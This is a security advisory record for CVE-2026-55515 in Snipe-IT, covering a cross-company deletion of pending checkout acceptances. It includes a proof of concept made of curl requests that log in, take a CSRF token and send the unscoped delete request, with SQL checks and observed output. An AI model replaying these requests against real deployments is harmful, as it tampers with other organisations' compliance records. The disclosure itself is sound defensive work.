CVE-2026-55515: Snipe-IT Cross-company Deletion Of Pending Checkout Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-35cr-9hqq-p2mg",
  "modified" : "2026-08-28T18:04:57Z",
  "published" : "2026-08-28T18:04:57Z",
  "aliases" : [ "CVE-2026-55515" ],
  "summary" : "Snipe-IT: Cross-company deletion of pending checkout acceptances via unscoped report endpoint",
  "details" : "### Impact\nA user with the `reports.view` permission can delete pending checkout acceptance records by global ID, even when the acceptance belongs to an asset in another company.\n\nThe report listing page appears to scope visible unaccepted assets, but the delete endpoint directly looks up CheckoutAcceptance::pending()->find($acceptanceId) and deletes it without checking whether the current user has access to the related checkoutable asset.\n\n\n### Preconditions\nThe attacker needs:\n- A valid authenticated web session.\n- `reports.view` permission.\n- Knowledge or guessability of a pending `checkout_acceptances.id`.\n\nThe attacker does not need access to the asset/company associated with the target acceptance.\n\n### Root cause\nThe delete action authorizes only report access, then deletes a pending acceptance by global ID:\n\n```php\n\n$this->authorize('reports.view');\n\n$acceptance = CheckoutAcceptance::pending()->find($acceptanceId);\n\n$acceptance->delete();\n```\n\nThe code does not check whether the current user can access the acceptance’s related checkoutable asset/accessory/license/etc.\nIn multi-company mode, this allows a reports user from one company to delete acceptance records belonging to another company.\n\n### Proof of concept\n#### Target acceptance belongs to Company B\n\nThe target pending acceptance was identified as id=1.\n\n```sql\nsnipe_sql \"SELECT ca.id ca.checkoutable_id, ca.deleted_at, a.asset_tag, a.company_id\nFROM checkout_acceptances ca\nJOIN assets a ON a.id = ca.checkoutable_id\nWHERE ca.id=$ACCEPTANCE_B_ID;\"\n```\nObserved result:\n\n```json\n{\n    \"id\": 1,\n    \"checkoutable_id\": 2,\n    \"deleted_at\": null,\n    \"asset_tag\": \"LAB-B-42445107\",\n    \"company_id\": 3\n}\n```\n\nThis shows the pending acceptance belongs to asset 2, which is in Company B.\n\n#### Attacker user belongs to Company A\nThe attacker account was reporter_a, assigned to Company A with only report viewing permission:\n\n```json\n{\n    \"id\": 3,\n    \"username\": \"reporter_a\",\n    \"company_id\": 2,\n    \"permissions\": {\n        \"reports.view\": 1\n    }\n}\n```\n\nLogin as Company A reports user\n\n```curl\ncurl -sS -c /tmp/snipe_cookie.txt \"$BASE/login\" -o /tmp/snipe_login.html\n\nLOGIN_CSRF=$(grep -oP 'name=\"_token\" value=\"\\K[^\"]+' /tmp/snipe_login.html)\n\ncurl -sS -i -b /tmp/snipe_cookie.txt -c /tmp/snipe_cookie.txt \\\n  -X POST \"$BASE/login\" \\\n  -H \"Content-Type: application/x-www-form-urlencoded\" \\\n  --data-urlencode \"_token=$LOGIN_CSRF\" \\\n  --data-urlencode \"username=reporter_a\" \\\n  --data-urlencode \"password=password\"\n```\n\n**Observed response:**\n\n```HTTP/1.1 302 Found\nLocation: http://localhost:8000/\n```\n\nFetch report CSRF token\n\n```curl\ncurl -sS -L -b /tmp/snipe_cookie.txt -c /tmp/snipe_cookie.txt \\\n  \"$BASE/reports/unaccepted_assets\" \\\n  -o /tmp/unaccepted.html \\\n  -w \"\\nHTTP=%{http_code} URL=%{url_effective}\\n\"\n\n\nCSRF=$(grep -oP 'name=\"csrf-token\" content=\"\\K[^\"]+' /tmp/unaccepted.html)\n\necho \"CSRF=$CSRF\"\n```\n\n**Observed result:**\n\n```\nHTTP=200 URL=http://localhost:8000/reports/unaccepted_assets\nCSRF=aRwAVRk5sPLdl7Pbw8vCQJRXN9vTqxVilkgH8JkU\n```\n\n**Delete Company B acceptance as Company A reporter**\n\n```curl\ncurl -i -b /tmp/snipe_cookie.txt -c /tmp/snipe_cookie.txt \\\n  -X POST \"$BASE/reports/unaccepted_assets/$ACCEPTANCE_B_ID/delete\" \\\n  -H \"Content-Type: application/x-www-form-urlencoded\" \\\n  --data-urlencode \"_token=$CSRF\" \\\n  --data-urlencode \"_method=DELETE\"\n```\n\n**Observed response:**\n```\nHTTP/1.1 302 Found\nLocation: http://localhost:8000/reports/unaccepted_assets\n```\n\n**Final state**\n```sql \nsnipe_sql \"SELECT id, checkoutable_id, deleted_at\nFROM checkout_acceptances\nWHERE id=$ACCEPTANCE_B_ID;\"\n```\n\n**Observed result:**\n\n```json\n{\n    \"id\": 1,\n    \"checkoutable_id\": 2,\n    \"deleted_at\": \"2026-06-12 04:30:00\"\n}\n```\n\nThis confirms that reporter_a from Company A deleted a pending acceptance for Company B’s asset.\n\n### Security impact\nThis is a cross-company authorization bypass affecting checkout acceptance integrity.\nAn attacker with report access can:\n\n- Delete pending acceptance records for assets they cannot access.\n- Suppress evidence that a user has not accepted custody or terms.\n- Interfere with asset handoff/compliance workflows.\n- Tamper with another company’s pending acceptance queue.\n\nThis is not intended functionality because the application should enforce company scope on destructive actions, not only on report display.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "snipe/snipe-it"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "8.6.2"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 8.6.1"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/grokability/snipe-it/security/advisories/GHSA-35cr-9hqq-p2mg"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-55515"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/grokability/snipe-it/commit/802067f3987a4b65bfc2efe60e22e07c24e01e6a"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/grokability/snipe-it"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/grokability/snipe-it/releases/tag/v8.6.2"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-639" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-08-28T18:04:57Z",
    "nvd_published_at" : "2026-07-10T20:16:47Z"
  }
}